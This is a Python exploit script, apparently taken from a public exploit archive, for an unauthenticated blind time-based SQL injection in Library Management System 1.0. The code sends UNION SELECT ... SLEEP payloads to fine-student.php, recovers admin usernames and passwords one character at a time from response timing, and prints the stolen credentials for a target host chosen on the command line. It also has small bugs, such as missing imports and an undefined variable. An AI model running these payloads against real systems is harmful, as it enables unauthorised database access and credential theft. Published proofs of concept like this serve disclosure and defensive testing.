1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 |
# Exploit Title: Library Management System 1.0 - Blind Time-Based SQL Injection (Unauthenticated) # Exploit Author: Bobby Cooke (@0xBoku) & Adeeb Shah (@hyd3sec) # Date: 16/09/2021 # Vendor Homepage: https://www.sourcecodester.com/php/12469/library-management-system-using-php-mysql.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/librarymanagement.zip # Vendor: breakthrough2 # Tested on: Kali Linux, Apache, Mysql # Version: v1.0 # Exploit Description: # Library Management System v1.0 suffers from an unauthenticated SQL Injection Vulnerability allowing remote attackers to dump the SQL database using a Blind SQL Injection attack. # Exploitation Walkthrough: https://0xboku.com/2021/09/14/0dayappsecBeginnerGuide.html import requests,argparse from colorama import (Fore as F, Back as B, Style as S) BR,FT,FR,FG,FY,FB,FM,FC,ST,SD,SB = B.RED,F.RESET,F.RED,F.GREEN,F.YELLOW,F.BLUE,F.MAGENTA,F.CYAN,S.RESET_ALL,S.DIM,S.BRIGHT def bullet(char,color): C=FB if color == 'B' else FR if color == 'R' else FG return SB+C+'['+ST+SB+char+SB+C+']'+ST+' ' info,err,ok = bullet('-','B'),bullet('!','R'),bullet('+','G') requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'} # POST /LibraryManagement/fine-student.php # inject' UNION SELECT IF(SUBSTRING(password,1,1) = '1',sleep(1),null) FROM admin WHERE adminId=1; -- kamahamaha def sqliPayload(char,position,userid,column,table): sqli= 'inject\' UNION SELECT IF(SUBSTRING(' sqli += str(column)+',' sqli += str(position)+',1) = \'' sqli += str(char)+'\',sleep(1),null) FROM ' sqli += str(table)+' WHERE adminId=' sqli += str(userid)+'; -- kamahamaha' return sqli chars = [ 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o', 'p','q','r','s','t','u','v','w','x','y','z','A','B','C','D', 'E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S', 'T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7', '8','9','@','#'] def postRequest(URL,sqliReq,char,position,pxy): sqliURL = URL params = {"check":1,"id":sqliReq} if pxy: req = requests.post(url=sqliURL, data=params, verify=False, proxies=proxies,timeout=10) else: req = requests.post(url=sqliURL, data=params, verify=False, timeout=10) #print("{} : {}".format(char,req.elapsed.total_seconds())) return req.elapsed.total_seconds() def theHarvester(target,CHARS,url,pxy): #print("Retrieving: {} {} {}".format(target['table'],target['column'],target['id'])) position = 1 theHarvest = "" while position < 8: for char in CHARS: sqliReq = sqliPayload(char,position,target['id'],target['column'],target['table']) if postRequest(url,sqliReq,char,position,pxy) > 1: theHarvest += char break; position += 1 return theHarvest class userObj: def __init__(self,username,password): self.username = username self.password = password class tableSize: def __init__(self,sizeU,sizeP): self.sizeU = sizeU self.sizeP = sizeP self.uTitle = "Admin Usernames"+" "*(sizeU-15)+BR+" "+ST self.pTitle = "Admin Passwords"+" "*(sizeP-15)+BR+" "+ST def printHeader(self): width = self.sizeU+self.sizeP+3 print(BR+" "*width+ST) print(self.uTitle,self.pTitle) print(BR+" "*width+ST) def printTableRow(user,size): username = user.username unLen = len(username) if unLen < size.sizeU: username = username+(" "*(size.sizeU - unLen)) else: name = name[:size.sizeU] username += BR+" "+ST password = user.password pLen = len(password) if pLen < size.sizeP: password = password+(" "*(size.sizeP - pLen)) else: password = password[:size.sizeP] password+= BR+" "+ST print(username,password) def sig(): SIG= SB+FY+" .-----.._ ,--.\n" SIG += FY+" |..>___ || .--.\n" SIG += FY+" ||.','-'"+FR+"* *"+FY+"'-. |//__ __\n" SIG += FY+" |</ "+FR+"***"+FY+" \ / \\/ \\\n" SIG += FY+" ||> )"+FR+" * *"+FY+" /\\\\\n" SIG += FY+" |____..- '-.._..-'_|\\___|._..\\___\\\n" SIG += FY+" _______"+FR+"github.com/boku7"+FY+"_____\n"+ST return SIG def argsetup(): about= SB+FT+'Unauthenticated Blind Time-Based SQL Injection Exploit - Library Manager'+ST parser = argparse.ArgumentParser(description=about) parser.add_argument('targetHost',type=str,help='The DNS routable target hostname. Example: "http://0xBoku.com"') parser.add_argument('DumpXAdmins',type=int,help='Number of admin credentials to dump. Example: 5') parser.add_argument('-p','--proxy',type=str,help='<127.0.0.1:8080> Proxy requests sent') args = parser.parse_args() if args.proxy: regex = '^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:[0-9]{2,5}$' if re.match(regex,args.proxy,re.IGNORECASE): args.proxy = {'http':'http://{}'.format(args.proxy),'https':'https://{}'.format(args.proxy)} else: print('{}Error: Supplied proxy argument {} fails to match regex {}'.format(err,args.proxy,regex)) print('{}Example: {} -p "127.0.0.1:8080"'.format(err,sys.argv[0])) sys.exit(-1) else: proxy = False return args if __name__ == "__main__": header = SB+FT+' '+FR+' Bobby '+FR+'"'+FR+'boku'+FR+'"'+FR+' Cooke\n'+ST print(header) print(sig()) args = argsetup() host = args.targetHost pxy= args.proxy admins = args.DumpXAdmins PATH = host+"/LibraryManagement/fine-student.php" size= tableSize(20,20) size.printHeader() dumpnumber = 1 while dumpnumber <= admins: adminUsername= { "id":dumpnumber, "table":"admin", "column":"username"} adminUsername= theHarvester(adminUsername,chars,PATH,pxy) adminPassword= { "id":dumpnumber, "table":"admin", "column":"password"} adminPass = theHarvester(adminPassword,chars,PATH,pxy) adminUser = userObj(adminUsername,adminPass) printTableRow(adminUser,size) # print("Admin's Username is: {}".format(adminUsername)) # print("Admin's Password is: {}".format(adminPass)) dumpnumber += 1 |